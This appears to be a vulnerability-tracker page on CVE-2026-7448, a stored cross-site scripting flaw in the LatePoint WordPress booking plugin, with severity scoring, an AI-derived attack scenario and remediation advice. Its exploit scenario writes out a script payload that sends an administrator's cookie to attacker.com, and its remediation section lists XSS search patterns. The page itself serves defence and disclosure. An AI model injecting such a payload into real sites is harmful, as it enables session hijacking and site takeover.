Skip to main content

LatePoint WordPress Plugin CVE-2026-7448

| EUVDEUVD-2026-27542 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-06 Wordfence GHSA-mj2w-r8cc-jq9c
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access public booking form
  2. Delivery
    Submit appointment with XSS payload in first_name field
  3. Exploit
    Payload stored in WordPress database
  4. Execution
    Administrator views booking record
  5. Persist
    Malicious script executes in admin session
  6. Impact
    Steal session cookies or create backdoor account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the LatePoint plugin to be actively installed and the appointment booking functionality exposed to unauthenticated visitors through public-facing booking forms or pages. The vulnerability specifically affects the 'first_name' parameter in customer input fields during the booking creation process. Successful injection depends on the booking form being accessible without WordPress authentication (common configuration for customer-facing appointment systems) and the malicious payload persisting through database storage. Exploitation impact is maximized when administrative users subsequently access booking records through the LatePoint management interface (activities_controller.php), customer profile views (customer_model.php), or email notifications containing the unsanitized first_name field (email_helper.php and replacer_helper.php). Limiting factors include: administrative users must actually view the compromised booking record for payload execution (though this is routine workflow in appointment management systems), and some WordPress security plugins with XSS detection may flag or block the injection attempt during form submission. Installations that have disabled or restricted public booking form access, or that require WordPress user authentication before booking, significantly reduce the attack surface.

Impact

The CVSS score of 7.2 (High) reflects significant risk characteristics: network vector (AV:N) with low attack complexity (AC:L), no privileges required (PR:N), no user interaction needed (UI:N), and critically, changed scope (S:C) indicating the attack can affect resources beyond the vulnerable component. The changed scope is particularly concerning for stored XSS, as compromising administrator sessions can lead to complete WordPress site takeover. However, several factors moderate real-world urgency: no confirmation of active exploitation exists (not in CISA KEV), no public proof-of-concept code identified in references, and EPSS probability data is unavailable for quantitative likelihood assessment. The unauthenticated nature (PR:N) is partially misleading-while no WordPress authentication is required to submit the malicious 'first_name', the attacker must successfully submit an appointment booking form, which may require interaction with the site's booking workflow. The low confidentiality and integrity impact ratings (C:L/I:L) with no availability impact (A:N) suggest limited direct damage, but stored XSS against administrative users can serve as a stepping stone for privilege escalation. Priority should be elevated for installations where booking forms are publicly accessible and administrative users frequently review appointment data. The availability of code references pointing to specific vulnerable lines (changeset 3522933) suggests a patch exists, making this a remediable risk rather than a persistent threat.

Exploit ScenarioDerived

An unauthenticated attacker navigates to a WordPress site running vulnerable LatePoint plugin and accesses the public appointment booking form. The attacker enters a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> into the 'first_name' field when creating an appointment booking. The LatePoint plugin stores this unsanitized input in the WordPress database. When a site administrator logs into the WordPress dashboard and views the appointments list or booking details through the LatePoint management interface, the stored script executes in the administrator's browser context with their session privileges. The attacker's script exfiltrates the administrator's session cookie to attacker.com, enabling session hijacking and full administrative access to the WordPress installation. No public proof-of-concept code is referenced, but the attack vector is straightforward given the unauthenticated access and common XSS exploitation techniques.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Stored Cross-Site Scripting in LatePoint Calendar Booking Plugin for WordPress allows unauthenticated remote attackers to inject malicious JavaScript via the 'first_name' parameter in appointment booking forms, affecting all versions through 5.5.0. The injected scripts persist in the database and execute whenever administrators or other users view booking records, potentially enabling session hijacking, privilege escalation, or further attacks against site administrators. The CVSS vector indicates network-accessible exploitation with no authentication required and changed scope, enabling attacks beyond the vulnerable component. EPSS score not provided; no confirmation of active exploitation (not in CISA KEV) or public exploit code at time of analysis.

RemediationAI

Upgrade LatePoint - Calendar Booking Plugin for Appointments and Events to a version newer than 5.5.0 that incorporates changeset 3522933 or later from the WordPress plugin repository, which addresses the input sanitization and output escaping deficiencies. The specific patched version number is not independently confirmed from available data-verify the latest stable release from the WordPress plugin directory or contact the vendor directly. Review existing appointment records for suspicious content in customer first_name fields using SQL queries against the WordPress database (wp_latepoint_customers table or equivalent), searching for common XSS patterns like <script>, onerror=, or javascript: URIs. If immediate patching is not feasible, implement compensating controls: restrict access to administrative booking management interfaces using IP allowlisting or VPN requirements (reduces exposure to stored payload execution but does not prevent injection); enable WordPress Content Security Policy headers via security plugins to limit inline script execution (may break legitimate plugin functionality-test thoroughly); implement Web Application Firewall rules to block common XSS patterns in POST requests to booking endpoints (pattern-based detection has bypass risks). Database sanitization of existing records should be performed carefully to avoid data corruption-consider using WordPress's wp_kses() function with appropriate allowed tags or engaging professional incident response if compromise is suspected. Consult Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c8eedec9-d8d4-4052-baec-29f83ac306ac for vendor-specific guidance.

Affected VersionsENISA

LatePoint – Calendar Booking Plugin for Appointments and Events 0 ≤5.5.0

Affected Packages

euvd latepoint_calendar_booking_plugin_for_appointments_and_events no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the LatePoint appointment booking plugin for WordPress (cpe:2.3:a:latepoint:latepoint_-_calendar_booking_plugin_for_appointments_and_events), specifically in customer data handling across multiple components: activities_controller.php (line 270), customer_model.php (line 376), replacer_helper.php (line 276), and email_helper.php (line 50). The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), commonly known as Cross-Site Scripting. The flaw stems from insufficient input sanitization when processing the 'first_name' field during appointment creation and inadequate output escaping when displaying this data in administrative interfaces and email templates. Unlike reflected XSS, this stored variant persists the malicious payload in the WordPress database, making it execute repeatedly across multiple user sessions without requiring the attacker to repeatedly deliver the payload. The code references show the vulnerable data flow from user input through model storage to output rendering without proper HTML entity encoding or Content Security Policy protections.

Know when Latepoint gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The LatePoint - Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'first_name' parameter in all versions up to, and including, 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

LatePoint Calendar Booking Plugin versions through 5.5.0 contain a stored cross-site scripting vulnerability allowing unauthenticated attackers to inject malicious code through appointment booking forms that executes when administrators access booking records, creating risk of session hijacking and privilege escalation against site management. Organizations using this plugin expose WordPress administrators to persistent client-side attacks originating from public-facing booking functionality. Immediate mitigation is required pending vendor patch availability.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement input validation via WAF to reject or sanitize JavaScript payloads in first_name and related form fields; (2) Deploy Content Security Policy with script-src 'self' to block inline script execution; (3) Apply output encoding/escaping to all booking record display pages; (4) Restrict administrative access to booking records to authenticated sessions only with IP allowlisting if feasible; (5) Enable WordPress security logging and monitor administrator account activity for anomalous session patterns; (6) Consider temporary disable of public booking forms if business workflow permits; (7) Maintain enhanced monitoring of admin sessions for unauthorized access attempts.

Threat Intelligence Overview

EPSS Score
0.1%
Top 69% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-8943 CRITICAL POC
9.8 Oct 08

The LatePoint plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.0.12. Rate

CVE-2024-8911 CRITICAL POC
9.8 Oct 08

The LatePoint plugin for WordPress is vulnerable to Arbitrary User Password Change via SQL Injection in versions up to,

CVE-2024-2472 CRITICAL
9.1 Jun 14

The LatePoint Plugin plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a

CVE-2026-105256 MEDIUM POC
5.3 Oct 21

Price tampering in the LatePoint WordPress booking plugin before 5.7.5 lets a remote unauthenticated visitor manipulate

CVE-2026-57714 CRITICAL
9.3 Jul 13

Blind SQL injection in the LatePoint WordPress appointment-booking plugin (versions up to and including 5.6.3) lets remo

CVE-2026-110653 CRITICAL
9.1 Oct 17

LatePoint WordPress plugin through 5.7.4 allows unauthenticated remote attackers who know a target customer's registered

CVE-2026-92966 CRITICAL
9.1 Oct 01

Unauthenticated arbitrary shortcode execution in LatePoint (Appointment Booking Plugin - Calendar & Scheduling for WordP

CVE-2026-104766 HIGH
8.8 Oct 10

Privilege escalation in the LatePoint appointment booking plugin for WordPress (all versions up to and including 5.7.3)

CVE-2026-6741 HIGH
8.8 Apr 27

Privilege escalation in the LatePoint booking plugin for WordPress (versions ≤ 5.4.1) lets an authenticated user holding

CVE-2026-13228 HIGH
8.8 Jul 01

Privilege escalation to Administrator in the LatePoint booking plugin for WordPress (versions up to and including 5.6.3)

CVE-2024-43945 HIGH
8.8 Oct 21

Cross-Site Request Forgery (CSRF) vulnerability in Latepoint LatePoint allows Cross Site Request Forgery.9.91. Rated hig

CVE-2026-8176 HIGH
7.5 Jun 16

Privilege escalation in the LatePoint Calendar Booking plugin for WordPress (versions up to and including 5.5.1) allows

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-7448 ADVISORY https://vuldb.com/vuln/361288 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.3.2/lib/controllers/activities_controller.php#L270 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.3.2/lib/helpers/email_helper.php#L50 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.3.2/lib/helpers/replacer_helper.php#L276 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.3.2/lib/models/customer_model.php#L376 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/controllers/activities_controller.php#L270 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/helpers/email_helper.php#L50 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/helpers/replacer_helper.php#L276 REF https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/models/customer_model.php#L376 REF https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/activities_controller.php#L270 REF https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/helpers/email_helper.php#L50 REF https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/helpers/replacer_helper.php#L276 REF https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/models/customer_model.php#L376 REF https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3522933%40latepoint%2Ftrunk&old=3516282%40latepoint%2Ftrunk&sfp_email=&sfph_mail= REF https://www.wordfence.com/threat-intel/vulnerabilities/id/c8eedec9-d8d4-4052-baec-29f83ac306ac?source=cve

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy